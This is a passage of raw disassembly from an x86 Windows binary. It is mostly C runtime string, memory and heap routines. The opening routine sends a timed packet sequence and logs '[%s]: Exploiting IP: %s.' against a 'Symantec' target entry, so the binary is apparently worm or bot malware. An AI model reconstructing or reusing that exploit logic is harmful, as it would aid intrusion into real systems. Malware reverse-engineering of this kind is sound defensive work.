edi loc_41B800: ; CODE XREF: ___:0041B79Cj cmp edi, 3 jz short loc_41B82E jmp loc_41B75C ; --------------------------------------------------------------------------- loc_41B80A: ; CODE XREF: ___:0041B79Aj lea eax, [ebp-28h] push eax lea eax, [ebp-88h] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_41B82E loc_41B820: ; CODE XREF: ___:0041B756j ; ___:0041B7B2j ... push ebx call dword_4CBA6C xor eax, eax jmp loc_41B9B7 ; --------------------------------------------------------------------------- loc_41B82E: ; CODE XREF: ___:0041B781j ; ___:0041B78Aj ... push esi lea eax, [ebp-16h] push 1 push eax push ebx call dword_4CBA24 lea eax, [ebp-10h] push 1 push eax push ebx call sub_41B55B mov esi, dword_427080 add esp, 0Ch mov edi, 3E8h push edi call esi lea eax, [ebp-18h] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi lea eax, [ebp-10h] push 2 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi and dword ptr [ebp-4], 0 mov edi, offset byte_4DBCCC push edi call sub_41B9C0 test eax, eax pop ecx jbe short loc_41B8CE loc_41B891: ; CODE XREF: ___:0041B8CCj mov eax, [ebp-4] movsx eax, byte_4DBCCC[eax] push eax push offset dword_43ADD8 lea eax, [ebp-20h] push 3 push eax call sub_41C360 lea eax, [ebp-20h] push 0 push eax push ebx call sub_41B55B add esp, 1Ch push 7Dh call esi inc dword ptr [ebp-4] push edi call sub_41B9C0 cmp [ebp-4], eax pop ecx jb short loc_41B891 loc_41B8CE: ; CODE XREF: ___:0041B88Fj lea eax, [ebp-0Ch] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push 0FA0h call esi push 2 pop edi loc_41B8E7: ; CODE XREF: ___:0041B8FEj lea eax, [ebp-14h] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push 12Ch call esi dec edi jnz short loc_41B8E7 mov edi, 7D0h push edi call esi lea eax, [ebp-0Ch] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi xor edi, edi lea eax, [ebp-14h] push edi push eax push ebx call sub_41B55B add esp, 0Ch push 190h call esi mov dword ptr [ebp-4], 2 loc_41B938: ; CODE XREF: ___:0041B950j push 258h call esi lea eax, [ebp-0Ch] push edi push eax push ebx call sub_41B55B add esp, 0Ch dec dword ptr [ebp-4] jnz short loc_41B938 push ebx call dword_4CBA6C lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-288h] push 1FFh push eax call sub_41C360 push edi lea eax, [ebp-288h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 mov eax, [ebp+0B0h] add esp, 28h shl eax, 6 inc dword_431800[eax] push 1 lea eax, dword_431800[eax] pop eax loc_41B9B7: ; CODE XREF: ___:0041B829j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B9C0 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B9E0 loc_41B9CC: ; CODE XREF: sub_41B9C0+19j mov al, [ecx] inc ecx test al, al jz short loc_41BA13 test ecx, 3 jnz short loc_41B9CC add eax, 0 loc_41B9E0: ; CODE XREF: sub_41B9C0+Aj ; sub_41B9C0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B9E0 mov eax, [ecx-4] test al, al jz short loc_41BA31 test ah, ah jz short loc_41BA27 test eax, 0FF0000h jz short loc_41BA1D test eax, 0FF000000h jz short loc_41BA13 jmp short loc_41B9E0 ; --------------------------------------------------------------------------- loc_41BA13: ; CODE XREF: sub_41B9C0+11j ; sub_41B9C0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BA1D: ; CODE XREF: sub_41B9C0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BA27: ; CODE XREF: sub_41B9C0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BA31: ; CODE XREF: sub_41B9C0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41B9C0 endp ; =============== S U B R O U T I N E ======================================= sub_41BA3B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+5809p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41BA50 or eax, 0FFFFFFFFh jmp short loc_41BA8A ; --------------------------------------------------------------------------- loc_41BA50: ; CODE XREF: sub_41BA3B+Ej test al, 83h jz short loc_41BA88 push esi call sub_41E42B push esi mov edi, eax call sub_41E3C5 push dword ptr [esi+10h] call sub_41E312 add esp, 0Ch test eax, eax jge short loc_41BA76 or edi, 0FFFFFFFFh jmp short loc_41BA88 ; --------------------------------------------------------------------------- loc_41BA76: ; CODE XREF: sub_41BA3B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41BA88 push eax call sub_41BA91 and dword ptr [esi+1Ch], 0 pop ecx loc_41BA88: ; CODE XREF: sub_41BA3B+17j ; sub_41BA3B+39j ... mov eax, edi loc_41BA8A: ; CODE XREF: sub_41BA3B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41BA3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA91 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40A928+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41BAF7 mov eax, dword_4DD388 cmp eax, 3 jnz short loc_41BABD push esi call sub_41E717 pop ecx test eax, eax push esi jz short loc_41BAE9 push eax call sub_41E742 pop ecx pop ecx jmp short loc_41BAF7 ; --------------------------------------------------------------------------- loc_41BABD: ; CODE XREF: sub_41BA91+14j cmp eax, 2 jnz short loc_41BAE8 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41F472 add esp, 0Ch test eax, eax jz short loc_41BAE8 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41F4C9 add esp, 0Ch jmp short loc_41BAF7 ; --------------------------------------------------------------------------- loc_41BAE8: ; CODE XREF: sub_41BA91+2Fj ; sub_41BA91+44j push esi loc_41BAE9: ; CODE XREF: sub_41BA91+20j push 0 push dword_4DD384 nop call near ptr 27F0614h loc_41BAF7: ; CODE XREF: sub_41BA91+Aj ; sub_41BA91+2Aj ... pop esi leave retn sub_41BA91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BAFA proc near ; CODE XREF: sub_4010AB+45p ; ___:0040FA8Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41BB1E xor eax, eax jmp loc_41BBC7 ; --------------------------------------------------------------------------- loc_41BB1E: ; CODE XREF: sub_41BAFA+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41BB31 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41BB3D ; --------------------------------------------------------------------------- loc_41BB31: ; CODE XREF: sub_41BAFA+2Dj mov [ebp+arg_C], 1000h jmp short loc_41BB3D ; --------------------------------------------------------------------------- loc_41BB3A: ; CODE XREF: sub_41BAFA+C4j mov ecx, [ebp+arg_0] loc_41BB3D: ; CODE XREF: sub_41BAFA+35j ; sub_41BAFA+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41BB6F mov eax, [esi+4] test eax, eax jz short loc_41BB6F cmp ecx, eax mov edi, ecx jb short loc_41BB54 mov edi, eax loc_41BB54: ; CODE XREF: sub_41BAFA+56j push edi push dword ptr [esi] push ebx call sub_41CD20 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41BBBA ; --------------------------------------------------------------------------- loc_41BB6F: ; CODE XREF: sub_41BAFA+49j ; sub_41BAFA+50j cmp ecx, [ebp+arg_C] jb short loc_41BBA2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41BB85 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41BB85: ; CODE XREF: sub_41BAFA+80j push eax push ebx push dword ptr [esi+10h] call sub_41F9BC add esp, 0Ch test eax, eax jz short loc_41BBCC cmp eax, 0FFFFFFFFh jz short loc_41BBD2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41BBBA ; --------------------------------------------------------------------------- loc_41BBA2: ; CODE XREF: sub_41BAFA+78j push esi call sub_41F8E3 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41BBD6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41BBBA: ; CODE XREF: sub_41BAFA+73j ; sub_41BAFA+A6j cmp [ebp+arg_0], 0 jnz loc_41BB3A mov eax, [ebp+arg_8] loc_41BBC7: ; CODE XREF: sub_41BAFA+1Fj ; sub_41BAFA+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41BBCC: ; CODE XREF: sub_41BAFA+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41BBD6 ; --------------------------------------------------------------------------- loc_41BBD2: ; CODE XREF: sub_41BAFA+9Fj or dword ptr [esi+0Ch], 20h loc_41BBD6: ; CODE XREF: sub_41BAFA+B2j ; sub_41BAFA+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41BBC7 sub_41BAFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBE2 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41D9B3+35p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41BBFD push [ebp+arg_4] call sub_41BEB5 pop ecx jmp loc_41BE7D ; --------------------------------------------------------------------------- loc_41BBFD: ; CODE XREF: sub_41BBE2+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41BC12 push [ebp+arg_0] call sub_41BA91 pop ecx jmp loc_41BE7B ; --------------------------------------------------------------------------- loc_41BC12: ; CODE XREF: sub_41BBE2+20j mov eax, dword_4DD388 cmp eax, 3 jnz loc_41BD22 loc_41BC20: ; CODE XREF: sub_41BBE2+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BCFE push [ebp+arg_0] call sub_41E717 mov ebx, eax pop ecx test ebx, ebx jz loc_41BCD9 cmp esi, dword_4DD380 ja short loc_41BC92 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41EF20 add esp, 0Ch test eax, eax jnz short loc_41BC8E push esi call sub_41EA6B mov edi, eax pop ecx test edi, edi jz short loc_41BC92 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41BC72 mov eax, esi loc_41BC72: ; CODE XREF: sub_41BBE2+8Cj push eax push ebx push edi call sub_41CD20 push ebx call sub_41E717 push [ebp+arg_0] mov ebx, eax push ebx call sub_41E742 add esp, 18h loc_41BC8E: ; CODE XREF: sub_41BBE2+74j test edi, edi jnz short loc_41BCD5 loc_41BC92: ; CODE XREF: sub_41BBE2+62j ; sub_41BBE2+81j test esi, esi jnz short loc_41BC99 push 1 pop esi loc_41BC99: ; CODE XREF: sub_41BBE2+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DD384 call near ptr 2800000h nop mov edi, eax test edi, edi jz short loc_41BCD5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41BCC1 mov eax, esi loc_41BCC1: ; CODE XREF: sub_41BBE2+DBj push eax push ecx push edi call sub_41CD20 push [ebp+arg_0] push ebx call sub_41E742 add esp, 14h loc_41BCD5: ; CODE XREF: sub_41BBE2+AEj ; sub_41BBE2+D0j test ebx, ebx jnz short loc_41BCFA loc_41BCD9: ; CODE XREF: sub_41BBE2+56j test esi, esi jnz short loc_41BCE0 push 1 pop esi loc_41BCE0: ; CODE XREF: sub_41BBE2+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DD384 call near ptr 2890000h nop mov edi, eax loc_41BCFA: ; CODE XREF: sub_41BBE2+F5j test edi, edi jnz short loc_41BD1B loc_41BCFE: ; CODE XREF: sub_41BBE2+43j cmp dword_4DBE48, 0 jz short loc_41BD1B push esi call sub_41FBB2 test eax, eax pop ecx jnz loc_41BC20 jmp loc_41BE7B ; --------------------------------------------------------------------------- loc_41BD1B: ; CODE XREF: sub_41BBE2+11Aj ; sub_41BBE2+123j ... mov eax, edi jmp loc_41BE7D ; --------------------------------------------------------------------------- loc_41BD22: ; CODE XREF: sub_41BBE2+38j cmp eax, 2 jnz loc_41BE3D cmp esi, 0FFFFFFE0h ja short loc_41BD3F test esi, esi jbe short loc_41BD3C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41BD3F ; --------------------------------------------------------------------------- loc_41BD3C: ; CODE XREF: sub_41BBE2+150j push 10h pop esi loc_41BD3F: ; CODE XREF: sub_41BBE2+14Cj ; sub_41BBE2+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BE1F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41F472 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41BE03 cmp esi, dword_43CE74 jnb short loc_41BDC7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F83A add esp, 10h test eax, eax jz short loc_41BD8D mov edi, [ebp+arg_0] jmp short loc_41BDBF ; --------------------------------------------------------------------------- loc_41BD8D: ; CODE XREF: sub_41BBE2+1A4j push edi call sub_41F50E mov edi, eax pop ecx test edi, edi jz short loc_41BDC7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41BDA6 mov eax, esi loc_41BDA6: ; CODE XREF: sub_41BBE2+1C0j push eax push [ebp+arg_0] push edi call sub_41CD20 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F4C9 add esp, 18h loc_41BDBF: ; CODE XREF: sub_41BBE2+1A9j test edi, edi jnz loc_41BD1B loc_41BDC7: ; CODE XREF: sub_41BBE2+18Bj ; sub_41BBE2+1B6j push esi push 0 push dword_4DD384 nop call near ptr 2800000h mov edi, eax test edi, edi jz short loc_41BE1F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41BDE8 mov eax, esi loc_41BDE8: ; CODE XREF: sub_41BBE2+202j push eax push [ebp+arg_0] push edi call sub_41CD20 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F4C9 add esp, 18h jmp short loc_41BE17 ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BBE2+17Fj push esi push [ebp+arg_0] push 0 push dword_4DD384 nop call near ptr 2890000h mov edi, eax loc_41BE17: ; CODE XREF: sub_41BBE2+21Fj test edi, edi jnz loc_41BD1B loc_41BE1F: ; CODE XREF: sub_41BBE2+162j ; sub_41BBE2+1F8j cmp dword_4DBE48, 0 jz loc_41BD1B push esi call sub_41FBB2 test eax, eax pop ecx jnz loc_41BD3F jmp short loc_41BE7B ; --------------------------------------------------------------------------- loc_41BE3D: ; CODE XREF: sub_41BBE2+143j ; sub_41BBE2+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41BE67 test esi, esi jnz short loc_41BE4B push 1 pop esi loc_41BE4B: ; CODE XREF: sub_41BBE2+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DD384 nop call near ptr 2890000h test eax, eax jnz short loc_41BE7D loc_41BE67: ; CODE XREF: sub_41BBE2+260j cmp dword_4DBE48, 0 jz short loc_41BE7D push esi call sub_41FBB2 test eax, eax pop ecx jnz short loc_41BE3D loc_41BE7B: ; CODE XREF: sub_41BBE2+2Bj ; sub_41BBE2+134j ... xor eax, eax loc_41BE7D: ; CODE XREF: sub_41BBE2+16j ; sub_41BBE2+13Bj ... pop edi pop esi pop ebx leave retn sub_41BBE2 endp ; =============== S U B R O U T I N E ======================================= sub_41BE82 proc near ; CODE XREF: sub_41BEA2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41FD3D test eax, eax jnz short loc_41BE8C retn ; --------------------------------------------------------------------------- loc_41BE8C: ; CODE XREF: sub_41BE82+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41FBCD add esp, 10h retn sub_41BE82 endp ; =============== S U B R O U T I N E ======================================= sub_41BEA2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+57DDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41BE82 add esp, 0Ch retn sub_41BEA2 endp ; =============== S U B R O U T I N E ======================================= sub_41BEB5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40A928+63p ... arg_0 = dword ptr 4 push dword_4DBE48 push [esp+4+arg_0] call sub_41BEC7 pop ecx pop ecx retn sub_41BEB5 endp ; =============== S U B R O U T I N E ======================================= sub_41BEC7 proc near ; CODE XREF: sub_41BEB5+Ap ; sub_41D9A5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41BEF0 loc_41BECE: ; CODE XREF: sub_41BEC7+27j push [esp+arg_0] call sub_41BEF3 test eax, eax pop ecx jnz short locret_41BEF2 cmp [esp+arg_4], eax jz short locret_41BEF2 push [esp+arg_0] call sub_41FBB2 test eax, eax pop ecx jnz short loc_41BECE loc_41BEF0: ; CODE XREF: sub_41BEC7+5j xor eax, eax locret_41BEF2: ; CODE XREF: sub_41BEC7+13j ; sub_41BEC7+19j retn sub_41BEC7 endp ; =============== S U B R O U T I N E ======================================= sub_41BEF3 proc near ; CODE XREF: sub_41BEC7+Bp arg_0 = dword ptr 4 mov eax, dword_4DD388 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41BF17 cmp esi, dword_4DD380 ja short loc_41BF49 push esi call sub_41EA6B test eax, eax pop ecx jz short loc_41BF49 pop esi retn ; --------------------------------------------------------------------------- loc_41BF17: ; CODE XREF: sub_41BEF3+Dj cmp eax, 2 jnz short loc_41BF49 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41BF2C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41BF2F ; --------------------------------------------------------------------------- loc_41BF2C: ; CODE XREF: sub_41BEF3+2Fj push 10h pop esi loc_41BF2F: ; CODE XREF: sub_41BEF3+37j cmp esi, dword_43CE74 ja short loc_41BF56 mov eax, esi shr eax, 4 push eax call sub_41F50E test eax, eax pop ecx jnz short loc_41BF65 jmp short loc_41BF56 ; --------------------------------------------------------------------------- loc_41BF49: ; CODE XREF: sub_41BEF3+15j ; sub_41BEF3+20j ... test esi, esi jnz short loc_41BF50 push 1 pop esi loc_41BF50: ; CODE XREF: sub_41BEF3+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41BF56: ; CODE XREF: sub_41BEF3+42j ; sub_41BEF3+54j push esi push 0 push dword_4DD384 call near ptr 2800000h nop loc_41BF65: ; CODE XREF: sub_41BEF3+52j pop esi retn sub_41BEF3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BF70 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41BFC3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41BFB7 neg ecx and ecx, 3 jz short loc_41BF99 sub edx, ecx loc_41BF93: ; CODE XREF: sub_41BF70+27j mov [edi], al inc edi dec ecx jnz short loc_41BF93 loc_41BF99: ; CODE XREF: sub_41BF70+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41BFB7 rep stosd test edx, edx jz short loc_41BFBD loc_41BFB7: ; CODE XREF: sub_41BF70+18j ; sub_41BF70+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41BFB7 loc_41BFBD: ; CODE XREF: sub_41BF70+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BFC3: ; CODE XREF: sub_41BF70+Aj mov eax, [esp+arg_0] retn sub_41BF70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFD0 proc near ; CODE XREF: ___:004016C0p ; ___:004016DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41C053 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41BFF4 shr ecx, 2 jnz short loc_41C061 jmp short loc_41C015 ; --------------------------------------------------------------------------- loc_41BFF4: ; CODE XREF: sub_41BFD0+1Bj ; sub_41BFD0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41C022 test al, al jz short loc_41C02A test esi, 3 jnz short loc_41BFF4 mov ebx, ecx shr ecx, 2 jnz short loc_41C061 loc_41C010: ; CODE XREF: sub_41BFD0+8Fj and ebx, 3 jz short loc_41C022 loc_41C015: ; CODE XREF: sub_41BFD0+22j ; sub_41BFD0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41C04E dec ebx jnz short loc_41C015 loc_41C022: ; CODE XREF: sub_41BFD0+2Bj ; sub_41BFD0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C02A: ; CODE XREF: sub_41BFD0+2Fj test edi, 3 jz short loc_41C044 loc_41C032: ; CODE XREF: sub_41BFD0+72j mov [edi], al inc edi dec ecx jz loc_41C0C6 test edi, 3 jnz short loc_41C032 loc_41C044: ; CODE XREF: sub_41BFD0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41C0B7 loc_41C04B: ; CODE XREF: sub_41BFD0+7Fj ; sub_41BFD0+F4j mov [edi], al inc edi loc_41C04E: ; CODE XREF: sub_41BFD0+4Dj dec ebx jnz short loc_41C04B pop ebx pop esi loc_41C053: ; CODE XREF: sub_41BFD0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C059: ; CODE XREF: sub_41BFD0+A9j ; sub_41BFD0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41C010 loc_41C061: ; CODE XREF: sub_41BFD0+20j ; sub_41BFD0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C059 test dl, dl jz short loc_41C0AB test dh, dh jz short loc_41C0A1 test edx, 0FF0000h jz short loc_41C097 test edx, 0FF000000h jnz short loc_41C059 mov [edi], edx jmp short loc_41C0AF ; --------------------------------------------------------------------------- loc_41C097: ; CODE XREF: sub_41BFD0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41C0AF ; --------------------------------------------------------------------------- loc_41C0A1: ; CODE XREF: sub_41BFD0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41C0AF ; --------------------------------------------------------------------------- loc_41C0AB: ; CODE XREF: sub_41BFD0+ADj xor edx, edx mov [edi], edx loc_41C0AF: ; CODE XREF: sub_41BFD0+C5j ; sub_41BFD0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41C0C1 loc_41C0B7: ; CODE XREF: sub_41BFD0+79j xor eax, eax loc_41C0B9: ; CODE XREF: sub_41BFD0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41C0B9 loc_41C0C1: ; CODE XREF: sub_41BFD0+E5j and ebx, 3 jnz short loc_41C04B loc_41C0C6: ; CODE XREF: sub_41BFD0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41BFD0 endp ; =============== S U B R O U T I N E ======================================= sub_41C0CE proc near ; CODE XREF: sub_41C159+4p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41C0D6: ; CODE XREF: sub_41C0CE+34j cmp dword_43D084, 1 jle short loc_41C0EE movzx eax, byte ptr [edi] push 8 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_41C0FD ; --------------------------------------------------------------------------- loc_41C0EE: ; CODE XREF: sub_41C0CE+Fj movzx eax, byte ptr [edi] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 8 loc_41C0FD: ; CODE XREF: sub_41C0CE+1Ej test eax, eax jz short loc_41C104 inc edi jmp short loc_41C0D6 ; --------------------------------------------------------------------------- loc_41C104: ; CODE XREF: sub_41C0CE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41C114 cmp esi, 2Bh jnz short loc_41C118 loc_41C114: ; CODE XREF: sub_41C0CE+3Fj movzx esi, byte ptr [edi] inc edi loc_41C118: ; CODE XREF: sub_41C0CE+44j xor ebx, ebx loc_41C11A: ; CODE XREF: sub_41C0CE+7Bj cmp dword_43D084, 1 jle short loc_41C12F push 4 push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_41C13A ; --------------------------------------------------------------------------- loc_41C12F: ; CODE XREF: sub_41C0CE+53j mov eax, off_43CE78 mov al, [eax+esi*2] and eax, 4 loc_41C13A: ; CODE XREF: sub_41C0CE+5Fj test eax, eax jz short loc_41C14B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41C11A ; --------------------------------------------------------------------------- loc_41C14B: ; CODE XREF: sub_41C0CE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41C154 neg eax loc_41C154: ; CODE XREF: sub_41C0CE+82j pop edi pop esi pop ebp pop ebx retn sub_41C0CE endp ; =============== S U B R O U T I N E ======================================= sub_41C159 proc near ; CODE XREF: ___:00401527p ; sub_401ACD+717p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41C0CE pop ecx retn sub_41C159 endp ; --------------------------------------------------------------------------- mov eax, off_43AE1C test eax, eax jz short loc_41C16F call eax ; sub_41D124 loc_41C16F: ; CODE XREF: ___:0041C16Bj push offset dword_429028 push offset dword_429014 call sub_41C24C push offset dword_429010 push offset dword_429000 call sub_41C24C add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41C1B3 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41C1A2 proc near ; CODE XREF: sub_41E2C9+1Cp ; sub_422DFC+21E6p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41C1B3 add esp, 0Ch retn sub_41C1A2 endp ; =============== S U B R O U T I N E ======================================= sub_41C1B3 proc near ; CODE XREF: ___:0041C199p ; sub_41C1A2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DBE24, edi jnz short loc_41C1D0 push [esp+4+arg_0] nop call near ptr 276073Dh push eax nop call near ptr 2750975h loc_41C1D0: ; CODE XREF: sub_41C1B3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DBE20, edi mov byte_4DBE1C, bl jnz short loc_41C224 mov eax, dword_4DD39C test eax, eax jz short loc_41C213 mov ecx, dword_4DD398 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41C212 loc_41C1FF: ; CODE XREF: sub_41C1B3+5Dj mov eax, [esi] test eax, eax jz short loc_41C207 call eax loc_41C207: ; CODE XREF: sub_41C1B3+50j sub esi, 4 cmp esi, dword_4DD39C jnb short loc_41C1FF loc_41C212: ; CODE XREF: sub_41C1B3+4Aj pop esi loc_41C213: ; CODE XREF: sub_41C1B3+3Cj push offset dword_429034 push offset dword_42902C call sub_41C24C pop ecx pop ecx loc_41C224: ; CODE XREF: sub_41C1B3+33j push offset dword_429040 push offset dword_429038 call sub_41C24C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41C24A push [esp+4+arg_0] mov dword_4DBE24, edi nop call near ptr 77E75CB5h loc_41C24A: ; CODE XREF: sub_41C1B3+85j pop edi retn sub_41C1B3 endp ; =============== S U B R O U T I N E ======================================= sub_41C24C proc near ; CODE XREF: ___:0041C179p ; ___:0041C188p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41C251: ; CODE XREF: sub_41C24C+16j cmp esi, [esp+4+arg_4] jnb short loc_41C264 mov eax, [esi] test eax, eax jz short loc_41C25F call eax loc_41C25F: ; CODE XREF: 